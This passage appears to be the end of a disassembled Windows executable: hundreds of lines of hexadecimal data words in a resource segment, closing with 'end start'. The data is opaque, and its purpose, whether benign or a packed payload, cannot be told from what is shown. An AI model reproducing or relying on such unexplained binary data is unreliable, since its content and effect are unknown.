		dd 65517865h, 7F117638h, 30DA2F3Eh, 0E6FCF1E3h,	0D3B9C8FEh
		dd 0CF6FBBBDh, 87678FB2h, 77164D41h, 0B772F27h,	9EE3E06h
		dd 0FCB7C8F7h, 0C99FDAA3h, 877889B3h, 7D750E61h, 5E074579h
		dd 23EA390Eh, 7EDEECEDh, 0D787DEE5h, 0AF9BA5BDh, 864CAE8Dh
		dd 772C5555h, 2D192205h, 279B171Dh, 0F5B7C4E2h,	0CEBAC5CFh
		dd 0B2759797h, 695E6545h, 593E5F41h, 54E83633h,	9FAF4CFh
		dd 0F4B1D3C1h, 0BC8FBCA6h, 946F9997h, 61387273h, 53051645h
		dd 5F10539h, 0DEDAF6FCh, 0DA8FCBCEh, 9D62B486h,	505C7B67h
		dd 44355D44h, 2D45630h,	19DE2E3Fh, 0EFA4D0D7h, 0A994A8CCh
		dd 816C9780h, 61227178h, 52012242h, 17F60D07h, 0FED9E890h
		dd 0C590D9DFh, 0B864A4BCh, 7232606Bh, 272F4F48h, 2AEE3627h
		dd 16C8097Bh, 9CBAC4C9h, 0A681A680h, 9F798182h,	612B7B5Bh
		dd 570A765Ah, 60F70902h, 0E2CDE2C4h, 0DA85DDC6h, 9573BF9Ch
		dd 98416C6Ch, 40325E49h, 3F1F2502h, 1CEC781Dh, 0F7BEFAEBh
		dd 0B0BCB2A3h, 0E85B8388h, 6A367B5Ch, 420C524Eh, 33F5132Ch
		dd 0C5DBF8DFh, 0DFB0F8B1h, 0B66BAABDh, 9B485274h, 4D3C6E43h
		dd 0C3D4F2Bh, 26F33723h, 0D2E4AFAFh, 0EFF1888Fh, 895B8C8Fh
		dd 4725607Dh, 6167435Ch, 2AC10605h, 0E4FEE6E2h,	0E9A4EAD7h
		dd 0B76684D5h, 8A4F88ACh, 7333735Ch, 3E3C2939h,	8F27332h
		dd 0E0A2C9FDh, 0CE82A097h, 0A26DAD8Dh, 0FD49310h, 5935FF1Ch
		dd 0B08B5E5Eh, 7C96C908h, 0A3B3ACC6h, 0A4538382h, 0A6EB71FEh
		dd 491FF6A8h, 16270920h
		dd 0F6088F22h, 11C4A7B4h, 2C14B27Bh, 0E122C943h, 0CB32C98Dh
		dd 86E4B962h, 65886B49h, 7DC5D27Ch, 3129A7C0h, 0CBCDFC98h
		dd 772B377Dh, 1A4C1FB0h, 21272E17h, 0BC116D6Eh,	434A94FFh
		dd 0B680FBD6h, 0B40FF2E3h, 55D5809h, 2C3E655Ah,	2853259h
		dd 0EF532FD3h, 0A1E38A2Ah, 5D059491h, 0F011DF38h, 4B3DE398h
		dd 2BF0CECFh, 69746A5Bh, 9CBE041Fh, 62E6B889h, 9F38CB7h
		dd 2E498283h, 0A6D62E1Fh, 50824E6Eh, 88562895h,	0F55285Bh
		dd 48F7FAE7h, 0ED05747Dh, 0EB05F11Ah, 0BEE6BFBEh, 62A44BE9h
		dd 92370102h, 820AB5B6h, 53F62322h, 0CF1D8180h,	5299A92Ch
		dd 0D40FDE58h, 9CA77A61h, 64315EBCh, 1AA0F43h, 0EA1C07BAh
		dd 90191717h, 871B8D3h,	0D25B5665h, 0B6996C09h,	0FCB4E2B3h
		dd 84568A8Bh, 0D02E97FDh, 27D02A19h, 87EBAE74h,	2CA5485Ch
		dd 0CDCC9B5Ch, 0BFF3C62Dh, 0A9BB0ECh, 0E720FA1h, 0A0E4C351h
		dd 5CA079E2h, 0A37AD8D9h, 0AAF4B194h, 0B4091C54h, 0E0EA7A38h
		dd 1992717h, 52B3CB89h,	6F867545h, 55949CB6h, 0BC9AC2A9h
		dd 96E8D915h, 892AED16h, 5B964DF9h, 5A8D606Bh, 82EF570Ch
		dd 1D5692FEh, 0D032CF31h, 0F9254676h, 95DA2425h, 46784A44h
		dd 0A6B48A70h, 670D12FAh, 0BE99A167h, 8E105AFh,	5FB8CD2h
		dd 62B7BD60h, 0CDA91D5h, 2DE0C4EFh, 332754C6h, 0CDCFFE4Eh
		dd 7E2A3D79h, 2C6228B7h, 0C0A26349h, 6D5B689Ah,	912B96FDh
		dd 7BE9EA37h, 0CCE6718Ch, 833C0C3Dh, 0EE533B3Ch, 0DC9DEA19h
		dd 4C827617h, 2E375FA9h, 3456AE92h, 31C2833Eh, 194BF64Ah
		dd 0C12F4546h, 57821A80h, 755D1894h, 36E78A97h,	0DD06C59Eh
		dd 48F8D05h, 0C7DC3031h, 52845550h, 78AF162Bh, 352DA5A6h
		dd 0C7C9E0E4h, 6BAD0F7Fh, 16491F38h, 3D051243h,	64966D82h
		dd 0DFEFC691h, 271BE0B8h, 0DA3BF2FAh, 96BECF34h, 285A2C2Ah
		dd 4DEB0504h, 1EA9112Dh, 0DDCFA2A3h, 35633698h,	7A1DC0DAh
		dd 4831EE9Ch, 3E046B10h, 36936666h, 0A89E3971h,	50E1B4B7h
		dd 0E7240249h, 3EB55A04h, 31BB3D5Fh, 26ABD902h,	24F72B79h
		dd 0EF585FF6h, 98F4F7EBh, 396E2E6Bh, 0DDD6E940h, 0BA6A0D16h
		dd 9C32033h, 8E0CFE1h, 0ACDEB625h, 143572D9h, 877116Bh
		dd 72067983h, 192D001Fh, 89318824h, 16CBAEB6h, 0BEF0CD00h
		dd 0C26D13EBh, 0C4D4EB1Bh, 67680B16h, 7746F79Eh, 40EB89B8h
		dd 975DB0ABh, 9705A2DCh, 0EC577375h, 39B02616h,	577AD8C0h
		dd 0BFA27444h, 111A64CDh, 4367CD02h, 0EB16E9E9h, 0B3EE195h
		dd 85BB838h, 0D9CA4F2Ah, 4BC86B8h, 0A7DAAD4Ch, 0BA21EA54h
		dd 0C9A9BD0Dh, 591E6A74h, 8AFC683Eh, 239F37B4h,	0F99456B2h
		dd 0E9BAEEC0h, 0CED27318h, 32620E3Fh, 8FE73AF7h, 0BE895C5Dh
		dd 7EB08335h, 0F787942Ah, 49F1879Bh, 0F425F85Ch, 0B745E6A2h
		dd 0C67B4A74h, 699B6EF6h, 63B7B5AAh, 0B8D38011h, 0DF106F61h
		dd 2635A60Ch, 107F1213h, 20E33E7Bh, 4701FFF4h, 23A8D288h
		dd 0A1DB31B1h, 80578182h, 6849639Fh, 4A5E6B7Fh,	99DFAD04h
		dd 378E9D93h, 0B4E69EAAh, 235F0216h, 3319619Ch,	7A9C1C30h
		dd 0B9D30607h, 78AA7D77h, 0F1A6CBE1h, 0A299A4A0h, 3F8A0DF3h
		dd 90472A37h, 0F583582h, 9810E1A0h, 0DBBCBFBCh,	0B1E0B6DFh
		dd 8F5B8C5Ah, 0D5A7FA56h, 0AA591C01h, 7E9B23C1h, 0BC942A7Bh
		dd 0CE9EF0F6h, 560A9998h, 0EB2CC3F1h, 0ED60139Fh, 940F3AAh
		dd 0E0519D66h, 0B7ACE300h, 6D19B2B4h, 0D2238650h, 0FD2F02EBh
		dd 0C9D6772Ah, 4B4E4C2Ch, 42E6C5F3h, 2C479FAFh,	0C0C3F68Dh
		dd 659116EEh, 0F722552h, 0B3E299CFh, 5DA05320h,	0B4881F01h
		dd 2EDDB181h, 0D335E8EFh, 72450289h, 0DE552834h, 785026DBh
		dd 336A9D75h, 0FFBCF8D8h, 0EDADA1A0h, 8C6B9282h, 412C7271h
		dd 4108575Ch, 88BD6119h, 77E7470Ch, 495FFD77h, 0D343BCD6h
		dd 9278AA04h, 0A4E7A83Dh, 0FF797C51h, 6DA07364h, 6A8A9E17h
		dd 0DD113E3Eh, 0AE116543h, 0A3D1010h, 76E99C51h, 0BCB9F55Ah
		dd 9D19E329h, 954C2157h, 9A00E3E3h, 975FC91h, 2D63BBB6h
		dd 6002C24Ah, 7359F379h, 17CB571Dh, 0B9EBBF1Ah,	0C17AE58Ch
		dd 5E3A0D0Fh, 0BA9E3F5Fh, 56B877FDh, 0F6A3DC08h, 395FB9E4h
		dd 0CBCDE0E6h, 0C31F7A71h, 0F9CD1F10h, 4E8CB647h, 68F03E3Fh
		dd 3A3E92FFh, 0B6D88B8Fh, 0F24A771Ch, 0FA670A3Bh, 1C6E0287h
		dd 9E10A759h, 22AC4FABh, 0AE406622h, 0C8FB994Ah, 0CBA092F5h
		dd 1B3D4650h, 53E5BC17h, 8C975A47h, 8CBE90D3h, 0B32D0634h
		dd 6C03DFE0h, 76B91946h, 2D33311Eh, 7825557h, 5B88E982h
		dd 0C986A394h, 0EE1E5F34h, 0AE95F1C2h, 9F851A26h, 0E86E3811h
		dd 0E9B415E3h, 0BD3696C5h, 0B34FE485h, 0D9715D1Eh, 8D545760h
		dd 0D4BB2958h, 642DB80Ah, 62C5E76h, 68CDF885h, 0CDE99A43h
		dd 0E952EB58h, 93709CC4h, 76E0CD3Dh, 6027EC6Dh,	0DB9BCBCh
		dd 9A558885h, 0A707EAEAh, 0CB9A2981h, 18571A19h, 7A4E6AE5h
		dd 267777h, 0AB336061h,	0FC464F05h, 6E1ADDDCh, 3E725299h
		dd 5F396C3Bh, 5DFA3361h, 83B78AE1h, 2F21E630h, 0D235CDAFh
		dd 0D1DD6A00h, 0ACAB2717h, 484B5B36h, 605D8DF6h, 6936A718h
		dd 8E754A3Ch, 8F17DADAh, 5A3F7812h, 52F3C669h, 0D18D504Ch
		dd 0B184C002h, 0AA3B6FAEh, 0D0688585h, 0D4146902h, 9AD82415h
		dd 46487B07h, 6DF5A6F8h, 0C4F466C8h, 8BDE753Eh,	76EBE7D8h
		dd 0A0C2349h, 150B3BCh,	5C035D6Eh, 0B2247BA1h, 2DD89B87h
		dd 7874EE80h, 0F516C9B1h, 285475A9h, 0D65EB6C2h, 6AAC5F47h
		dd 0A1841B1Ch, 9347BD8Eh, 1AF34F27h, 1A4D8980h,	7F313304h
		dd 4D60A08h, 50AF147Dh,	5C85A899h, 0FAD70245h, 810635F7h
		dd 7C713425h, 2C102428h, 27A30808h, 0E2A5FBE7h,	9BD589D7h
		dd 0F1628D86h, 57363827h, 6E096368h, 27C70B15h,	17CE0C0Dh
		dd 0CEBDE6D2h, 0AB96BEB9h, 0B35496A7h, 603A7E4Fh, 4E0A212Ah
		dd 5FE3A36h, 0CAD9F5E3h, 0C181D4DBh, 0BB5B82ACh, 645E6775h
		dd 5B28485Ah, 3DE81209h, 1AC90C19h, 0F1A0F2CFh,	988FAAA3h
		dd 827C84A2h, 7737797Dh, 5C034D10h, 3DF60A0Eh, 0E0CEF8CFh
		dd 0D588C6DAh, 0A749BFB9h, 9D596F74h, 4A315F4Ah, 23213Ch
		dd 73D20A10h, 0CE8BEFF3h, 84A68690h, 8A72A3B2h,	7F307964h
		dd 6036495Bh, 31F50A0Dh, 0C6E4F8FCh, 0C9ADC0C7h, 0B150ADB7h
		dd 94477273h, 5A137546h, 3B123C3Fh, 24A40513h, 0F2ACECFCh
		dd 0CD9D8DB0h, 0E61BEC9Fh, 7F144413h, 4618EBB5h, 36E61A0Eh
		dd 0E9C2E7A6h, 0D9B1DEDDh, 0BF6DF9B7h, 0B72B9198h, 18656Fh
		dd 37083C37h, 1EDB1000h, 0D09BCE91h, 0F68AE290h, 0C458A0A6h
		dd 79576737h, 38564D4Ch, 598CB70Ah, 1EE8686h, 97FA4B40h
		dd 0A08412D4h, 0F728CBE9h, 327DB6DBh, 0ADB64A7Bh, 6CF056Dh
		dd 72701387h, 0E3EC8FEBh, 973DDA4Bh, 37BA6825h,	131728C9h
		dd 7B78E1D0h, 83B83B4h,	0C372FDA9h, 0C27B5C77h,	7B25C8D2h
		dd 2B6614A4h, 4FDBD48h,	97D5E295h, 72C3246Dh, 485C3172h
		dd 0B710D3C8h, 6380A08h, 14CACD65h, 0BD866976h,	7BAD8008h
		dd 0B77D2225h, 0A3ABCEFFh, 0E2C9FF6h, 2866548Bh, 1B0DC745h
		dd 17ED6F64h, 8DBF9A7Bh, 0F7A0EABAh, 9041A4CFh,	1EA0F709h
		dd 215C1F1Ch, 3B972297h, 10422D7Ch, 602E5B5Ch, 0F6D31259h
		dd 9ADF77F3h, 0FD97E519h, 3C6E4149h, 3CD62E3Ah,	0CE92DCDFh
		dd 4EE3FAFBh, 0E926C04Bh, 0F973ED06h, 92D4D3D2h, 4EB07FABh
		dd 75A67E13h, 931F7A2h
		dd 0C3C5E4E8h, 0EB1CE218h, 40004B18h, 6B2E6876h, 34D73935h
		dd 78EF8CCEh, 9ECB5A21h, 0D60032DBh, 0B5730203h, 77037965h
		dd 0DE810751h, 72955391h, 0C89D56ACh, 0AAA2C5ACh, 0E81A85ECh
		dd 0F0145515h, 642CDA9h, 0A268E063h, 9E7A9FEh, 9BF24E24h
		dd 488855D8h, 902D3027h, 3B3D7A27h, 197C4F4Eh, 1A368925h
		dd 69CAADB0h, 8DDA0956h, 0E51303EAh, 5F151312h,	154687Ch
		dd 16C2254Eh, 0C0207787h, 40DC9F82h, 0D003D6DFh, 8A5A8E8Ah
		dd 79264B4Ch, 0B9294C0Dh, 5D8BAAE6h, 7142139Ah,	0B4EEF1EAh
		dd 0B19865D9h, 833D2009h, 148C0B2h, 0CD740F5Eh,	7F82A9C4h
		dd 0A6DDC43Fh, 7B8DD3D3h, 0F617E3A4h, 0C0F2AF7Ah, 0AC767966h
		dd 9462828Dh, 364150FEh, 0B9EB8E9Fh, 47B766B6h,	83A3D2Eh
		dd 0F05A1B8h, 2D85B6Ch,	7DC583E9h, 0A4D4C1F8h, 5E0250D1h
		dd 0F314DB19h, 6F16DFA5h, 0D6FECB65h, 3A9A5D4Eh, 3A4C92FFh
		dd 0B6D89B18h, 8E5FB4B7h, 90C8585Ah, 2C6E1DD7h,	8E10A701h
		dd 0BCAC4FACh, 91FD5822h, 0A612CDCEh, 0FDE0B07h, 275B6190h
		dd 72F58444h, 33975A7Eh, 648DCEC6h, 4C1A4AE0h, 0CE405A27h
		dd 56620738h, 63B31A70h, 977DAAA4h, 47BC30F8h, 0C1A8F5A4h
		dd 37CC22FFh, 68D90E0Dh, 14760C56h, 6F1B2517h, 0E719AE5Bh
		dd 898BBEC0h, 0E1B3E4E7h, 89588D8Dh, 0D30491FAh, 0B3A62C1Ch
		dd 4DB07F7Eh, 1B892BBh,	9BC249D5h, 8AA6C8C8h, 0BA5DB8A3h
		dd 5D00395Eh, 0AD943E72h, 5FA24924h, 86B98064h,	0FEA8E0B3h
		dd 0B451AEBFh, 0BD4A776Eh, 0B6A87A29h, 4A4E7A89h, 8E10F5E4h
		dd 0F0CCAFB2h, 0BFF3C60Dh, 181A87BAh, 3E6E0C81h, 0E7FCB13Bh
		dd 0D190537Dh, 0B39A4D34h, 0FD8CE7B0h, 0F9E04D28h, 3EAFFFCFh
		dd 0CEC1AA2Bh, 187B7E51h, 39A31F22h, 96CBF4CEh,	6E0F43C3h
		dd 1AEDF702h, 3E8291EDh, 3366092Ch, 0D2E56B14h,	7EB48794h
		dd 98F7C73Bh, 0D00E3DD5h, 0AB7EFCFDh, 2C1A676Ah, 0A3C657Eh
		dd 0F860723Fh, 94F6B5DBh, 0BBEAA852h, 5699E7E8h, 0A0C17A6h
		dd 9CDEBB6Eh, 0B08A6D72h, 804E7509h, 0A6D8A744h, 83B685D3h
		dd 0A163B7B3h, 5002650Ch, 2E0B749h, 0EF9C5F5Ch,	0A4479957h
		dd 2BEABDBCh, 0E011E18Dh, 0F38C810Dh, 7760032Ch, 794EE7D6h
		dd 294681B2h, 202A5758h, 0FAD0026Dh, 762CF6F7h,	194B1C0Fh
		dd 41E2A9C7h, 0FCD6C6Dh, 8EC09295h, 994A2F44h, 198FE1D2h
		dd 436089Ah, 4189BB61h,	0C77B0558h, 799B52B2h, 0D58B6523h
		dd 0D471A4C0h, 7ADFF3F4h, 16783775h, 80ECA0A8h,	64A649CCh
		dd 694E591h, 82C41D3Dh,	4FF48EDFh, 1032ABEh, 0AC55EDABh
		dd 4F8155DCh, 0FDA43BF7h, 12FF5DA3h, 0F4D66F4Fh, 129836F1h
		dd 12452837h, 3B063F2Ah, 0F46C640Dh, 888AA14Bh,	0A01E4C36h
		dd 0D709BB58h, 6BBD9004h, 25680B89h, 1F2D4238h,	5F13EC86h
		dd 5A48A090h, 0C0B442C8h, 5496EEEEh, 107336D2h,	4682358Ch
		dd 366E9B92h, 85B88B1Fh, 253999ECh, 2B52FDEDh, 0CB023094h
		dd 0F0EBA428h, 0F87D606Fh, 86F69F77h, 2466162h,	0BEC2E57Bh
		dd 0F271EC81h, 5F411413h, 0F5FDC469h, 0D68F524Dh, 0FA2ADCCh
		dd 99EDFF3Ah, 670B87D6h, 0DD6F75F4h, 28B3E732h,	557B074Fh
		dd 24B3763Eh, 0B18C9098h, 0B30E42CAh, 0B51E0928h, 1B1A551Ah
		dd 0BF350AC7h, 69A0A0E2h, 80AF6E86h, 89FFADADh,	0E121ACE2h
		dd 0CD08D5DCh, 30750601h, 3D523273h, 66ED5452h,	0DD8CD7D3h
		dd 45BBBFE0h, 0D2380372h, 0A5FF8F0Fh, 5A623536h, 4DE0C5Dh
		dd 5271167Bh, 285CAA9Bh, 0CCCEC4E0h, 0EFC6F893h, 4A40E94Ah
		dd 427442A0h, 0DBE486Fh, 6F95959Ch, 87C25928h, 0D3D460E4h
		dd 6E33E05Ch, 2D5F323Bh, 745EE4D7h, 28FA80B1h, 8E153257h
		dd 97ECEFFh, 44AFA188h,	187A31E1h, 2A43E1C6h, 0EB986B5Ch
		dd 0BD916C1Eh, 0DE2892BAh, 8F5BB1E1h, 2F889DF6h, 0D2DF2F00h
		dd 0C0AC2857h, 0CD2783F5h, 9FE1885Ah, 680AC67Ch, 67FE286h
		dd 0EAB8EC41h, 0DF793323h, 62E2E560h, 4537657Bh, 0C6E789Ch
		dd 0D93AF121h, 0F7B5A1F5h, 0D80A95C6h, 7EACE2C1h, 1A1AFA7Bh
		dd 9DCE91B7h, 0F39DE2BDh, 141CEF85h, 22687E8Dh,	0C7D6BE3Fh
		dd 60925548h, 27E9DF9h,	0AED09312h, 0D607DADBh,	0D3D187C5h
		dd 0CD572A1Ah, 0B481AF59h, 72A1BA25h, 0B7332A12h, 3FA5C6F6h
		dd 0D836E078h, 0F0BA9615h, 36D2B833h, 0D8196363h, 8487BA89h
		dd 5488B1DBh, 0E329854Dh, 0F5ED8500h, 21558CA3h, 18BC644Eh
		dd 3FA01C25h, 96A29CF6h, 0EB31C4C3h, 0CEE97E15h, 0F4C31322h
		dd 1E335C6h, 0D38E6164h, 0B1858F02h, 0A35122AEh, 5D03E6E5h
		dd 0C81AEE68h, 75007425h, 0D3861C4Ch, 6D905F66h, 9B386219h
		dd 0BBEAC145h, 1C1582E8h, 3A0D17A5h, 20F1C837h,	0DB8B6E72h
		dd 0FBBD7A7Dh, 0A6D9AF45h, 0FE1B565Ah, 3F14FACBh, 4D1EE120h
		dd 1572231Bh, 5B9AC58Eh, 73B97A8h, 0B9DB954Ah, 651D2563h
		dd 83A0ECBh, 0AAE8FD06h, 56B86B43h, 15FED3D2h, 0A4D9A9B5h
		dd 8E682F81h, 7624C7D4h, 64C810E0h, 0C8734644h,	58AA4EEBh
		dd 0C44A5795h, 0D6BB0384h, 0C3CE2E3h, 0F4C0CB08h, 0A9D7D0C5h
		dd 53B56876h, 0C290340Bh, 0A1D3BD6Bh, 9F91FFDh,	11D60502h
		dd 276E9994h, 31B34374h, 9C9121DCh, 0DF33A771h,	0F052B7A1h
		dd 92DCDCF4h, 11CC663h,	7661AFFFh, 0A9EC3C21h, 0F4E06209h
		dd 0ECD1AFDEh, 0F9BC4114h, 0EE0AB379h, 50CB0958h, 0E29ABF09h
		dd 0E7AFA64Bh, 898BBE94h, 0F469EC75h, 5080D0F9h, 0FF3104BDh
		dd 179AEC1Fh, 7DAE6461h, 45894A54h, 0D0BAEF81h,	0B299A6BAh
		dd 8475C18Eh, 1B497871h, 5E02021Dh, 3AFF0417h, 0E5CBFFACh
		dd 0D988918Eh, 0FA3DAAAEh, 0B75B4C2Dh, 533B445Bh, 24177F31h
		dd 38A1711h, 0F1F3B0FDh, 9FD1F7F8h, 937E849Bh, 2E73287Ch
		dd 52005953h, 6DAD170Ah, 0FAC3F9A9h, 88E3D4DCh,	0B677B7B5h
		dd 0CA168D9Ah, 0E681905h, 29092827h, 629C1018h,	1D371796h
		dd 8DC0D84Eh, 66595AEAh, 0A2CD16FBh, 0CE7304Ch,	34FF2B14h
		dd 0A7773F2h, 0B3562550h, 6002E5E5h, 0FDC07FC1h, 0F1248AD7h
		dd 335774CCh, 6CD8F984h, 4B1946BFh, 0F4AFFD1Eh,	0B61BEACh
		dd 0E2C2245Fh, 3163341Bh, 588A0536h, 8E59DF85h,	0D2275451h
		dd 0D67259F3h, 7826C9CAh, 0D3652016h, 7049C507h, 0ED389C8Dh
		dd 90BD1B4Eh, 9F5F0833h, 13EDE4D5h, 0C8B2CFA9h,	93ED38DFh
		dd 55B774A4h, 4F710A7Eh, 0C2E90460h, 0B0C0C9A2h, 0D20FF480h
		dd 6D1722B5h, 345C79AAh, 129950B0h, 5FD707Ch, 0E6627CBAh
		dd 0DD0ED1D2h, 416E4C37h, 166F4431h, 52D6140Bh,	868E550Bh
		dd 9DD25A59h, 0C7B49885h, 0BF1DE180h, 62484B54h, 6E2E7F48h
		dd 0E199693Ah, 74426ED0h, 82B73246h, 0E9E0DEEFh, 0FECD99EEh
		dd 1559A6D1h, 0CCF1D02h, 888FFF73h, 0CAF25D5Ch,	0CBB89C89h
		dd 13E3EC75h, 501225E6h, 0BE630D73h, 9E6C9876h,	0DCE9DDB3h
		dd 0A965BBFAh, 0E4F72422h, 31EEBDFh, 0A157D4D4h, 0B380AFABh
		dd 654EAB4Ah, 72CDA0A0h, 3E0B399Eh, 0E91BEE06h,	0FDC24B16h
		dd 375A1404h, 5E90568Dh, 0B747EF8Bh, 9CFC0739h,	5D62D9E9h
		dd 0A8938123h, 23561918h, 0E7955A3Ah, 995B8888h, 97CB9F8Eh
		dd 0F3CC44A2h, 0EE9CE3B1h, 86411412h, 0EA6B0764h, 0BB4E307h
		dd 7A3386CDh, 5EDDB0AFh, 0F104C195h, 7C24FEFEh,	205326CDh
		dd 45260EBBh, 6E40F07Bh, 0EB499B9Bh, 9CCFE2E2h,	3092E6C9h
		dd 0E33E1111h, 0CD9AC59Fh, 5945DD50h, 0C2388686h, 0B79026A5h
		dd 0CB7215FFh, 0F2C33BCFh
		dd 54D9EB27h, 6EF2C35Bh, 849E4142h, 6C3A65CFh, 0BAEC1028h
		dd 0C58E6DE7h, 0A3B3E3Fh, 521EABh, 0ABE7B45Dh, 0FABF7C7Bh
		dd 0A5D7AA24h, 0FCDD6459h, 0AAAEF8C9h, 0F393231Dh, 0BD8BBA1Fh
		dd 231A131Dh, 90C2F5B2h
		dd 1580h dup(?)
_rsrc		ends


		end start